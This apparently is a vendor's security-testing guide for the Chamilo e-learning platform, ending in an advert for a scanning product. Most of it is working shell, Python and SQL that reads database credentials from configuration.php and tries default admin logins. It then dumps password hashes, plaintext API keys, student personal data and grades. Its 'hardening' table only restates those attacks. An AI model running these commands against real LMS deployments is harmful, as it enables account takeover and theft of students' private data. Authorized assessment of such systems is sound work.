Chamilo Security Testing: Default Credentials, API Key, Database, and LMS

Chamilo is a widely deployed open-source e-learning and course management platform used by universities, training organizations, and government education bodies. Key assessment areas: app/config/configuration.php exposes MySQL credentials; admin credentials are frequently set to defaults; the Chamilo web services API uses API keys stored in the user table; and the database contains student PII, grade data, quiz answers, and file submissions. This guide covers systematic Chamilo security assessment.

Table of Contents

  1. configuration.php MySQL Credential Extraction
  2. REST API and Admin Credential Assessment
  3. MySQL User Hash, Student PII, and Grade Data Extraction
  4. Chamilo Security Hardening

configuration.php MySQL Credential Extraction

# Chamilo — app/config/configuration.php MySQL credential extraction
CHAMILO_URL="https://lms.example.com"

# app/config/configuration.php — Chamilo database configuration
cat /var/www/chamilo/app/config/configuration.php 2>/dev/null | head -50
# $_configuration['db_host'] = 'localhost';
# $_configuration['db_user'] = 'chamilo';
# $_configuration['db_password'] = '...';    <-- MySQL database password
# $_configuration['main_database'] = 'chamilo';
# $_configuration['root_web'] = 'https://lms.example.com/';

python3 -c "
import re
content = open('/var/www/chamilo/app/config/configuration.php').read()
patterns = {
    'db_password': r\"\\\$_configuration\['db_password'\]\s*=\s*'([^']+)'\",
    'db_user': r\"\\\$_configuration\['db_user'\]\s*=\s*'([^']+)'\",
    'db_host': r\"\\\$_configuration\['db_host'\]\s*=\s*'([^']+)'\",
    'main_database': r\"\\\$_configuration\['main_database'\]\s*=\s*'([^']+)'\",
    'encrypt_password': r\"\\\$_configuration\['password_encryption'\]\s*=\s*'([^']+)'\",
}
for name, pattern in patterns.items():
    m = re.search(pattern, content)
    if m: print(f'{name}: {m.group(1)[:60]}')
" 2>/dev/null

# Test configuration.php web access
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
  "${CHAMILO_URL}/app/config/configuration.php" 2>/dev/null)
echo "configuration.php: HTTP ${STATUS}"

# Chamilo version detection
curl -s "${CHAMILO_URL}/" 2>/dev/null | grep -oP 'Chamilo [0-9]+\.[0-9]+' | head -1

# Default admin credentials
for CRED in "admin:admin" "admin:chamilo" "chamilo:chamilo" "admin:password"; do
  USER=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  RESPONSE=$(curl -s -X POST "${CHAMILO_URL}/main/auth/login.php" \
    -d "login=${USER}&password=${PASS}&submitAuth=+" \
    -c /tmp/chamilo_c -b /tmp/chamilo_c \
    -L -w "%{http_code}" -o /dev/null 2>/dev/null)
  echo "${USER}/${PASS}: HTTP ${RESPONSE}"
done

REST API and Admin Credential Assessment

# Chamilo REST API — API key and admin credential assessment
CHAMILO_URL="https://lms.example.com"

# Chamilo web services use an API key (ws_security_key) stored per user
# Test SOAP web service availability
curl -s "${CHAMILO_URL}/main/webservices/soap.php?wsdl" 2>/dev/null | \
  grep -oP 'operation name="\K[^"]+' | head -10
# Services: WSCMUserLogin, WSCMGetCourse, WSCMGetUserList, etc.

# Test REST web service availability
curl -s "${CHAMILO_URL}/main/webservices/rest.php" 2>/dev/null | head -20

# With extracted credentials — access admin panel
# Admin panel at /main/admin/
ADMIN_SESS=$(curl -s -c /tmp/chamilo_admin -X POST \
  "${CHAMILO_URL}/main/auth/login.php" \
  -d "login=admin&password=admin&submitAuth=+" \
  -L --max-redirs 3 2>/dev/null | \
  grep -o "sid=[a-zA-Z0-9]*" | head -1)
echo "Session: ${ADMIN_SESS}"

# Access course list via admin API
curl -s "${CHAMILO_URL}/main/webservices/rest.php?action=authenticate&username=admin&password=admin&format=json" \
  2>/dev/null | python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    print(f'API Key: {d.get(\"data\",{}).get(\"apiKey\")}')
    print(f'UserID: {d.get(\"data\",{}).get(\"userId\")}')
except: print('REST API auth response:', sys.stdin.read()[:200])
" 2>/dev/null

MySQL User Hash, Student PII, and Grade Data Extraction

# Chamilo MySQL database — user hash, student PII, and grade data extraction
DB_PASS="extracted-db-password"

mysql -u chamilo -p"${DB_PASS}" chamilo 2>/dev/null << 'EOF'
-- Chamilo users with password hashes
SELECT u.user_id, u.username, u.email, u.password,
       u.status, u.active, u.firstname, u.lastname,
       u.registration_date, u.last_login
FROM user u
WHERE u.active = 1
ORDER BY u.user_id
LIMIT 20;
-- status: 1=student, 5=teacher, 6=admin
-- password: SHA-512 or bcrypt depending on version/configuration

-- Admin users (status = 6)
SELECT u.username, u.email, u.password,
       u.ws_api_key          -- REST API authentication key
FROM user u
WHERE u.status = 6;

-- Web service API keys (for all users with API access)
SELECT u.user_id, u.username, u.email, u.ws_api_key
FROM user u
WHERE u.ws_api_key IS NOT NULL
AND u.ws_api_key != '';
-- ws_api_key: plaintext API key for REST/SOAP web services

-- Student PII (extra_field_values)
SELECT u.username, u.email, u.firstname, u.lastname,
       efv.value as field_value, ef.variable as field_name
FROM user u
JOIN extra_field_values efv ON efv.item_id = u.user_id
JOIN extra_field ef ON ef.id = efv.field_id
WHERE ef.extra_field_type = 1    -- user extra fields
ORDER BY u.user_id
LIMIT 20;

-- Course enrollment and grades
SELECT u.username, u.email, c.code as course_code, c.title as course_title,
       cu.status as role,                -- 0=student, 1=teacher
       g.score, g.max, g.date_log
FROM user u
JOIN course_user cu ON cu.user_id = u.user_id
JOIN course c ON c.id = cu.c_id
LEFT JOIN gradebook_result g ON g.user_id = u.user_id
WHERE g.score IS NOT NULL
ORDER BY u.user_id
LIMIT 20;
EOF

Chamilo Security Hardening

Chamilo Security Hardening Checklist:
Security TestMethodRisk
app/config/configuration.php MySQL db_password extractionRead /var/www/chamilo/app/config/configuration.php — database credentials for all student data, course content, grades, and API keysCritical
user table ws_api_key plaintext REST/SOAP API key extractionMySQL SELECT ws_api_key FROM user WHERE status=6 — plaintext API keys for admin-level web service access; all user data, course enrollment, grade managementHigh
Admin credential brute-force (admin/admin, admin/chamilo)POST /main/auth/login.php — admin session; full LMS administration, user management, course creation, grade modificationHigh
Student PII extraction from extra_field_valuesMySQL SELECT from extra_field_values JOIN user — national IDs, phone numbers, custom student fields; GDPR-relevant personal data for all studentsHigh
Grade and assessment data extraction from gradebook_resultMySQL SELECT from gradebook_result JOIN user — all student grades, quiz scores, course performance; academic record integrity implicationsMedium

Automate Chamilo Security Testing

Ironimo tests Chamilo LMS deployments for app/config/configuration.php MySQL db_password web exposure, /app/ directory PHP file access protection, admin/admin credential brute-force at /main/auth/login.php, user table ws_api_key plaintext REST API key extraction, admin user (status=6) identification and hash extraction, student PII enumeration from extra_field_values, grade data extraction from gradebook_result, course enrollment and access control assessment via course_user, web services SOAP/REST availability and authentication bypass, and Chamilo version disclosure for CVE targeting.

Start free scan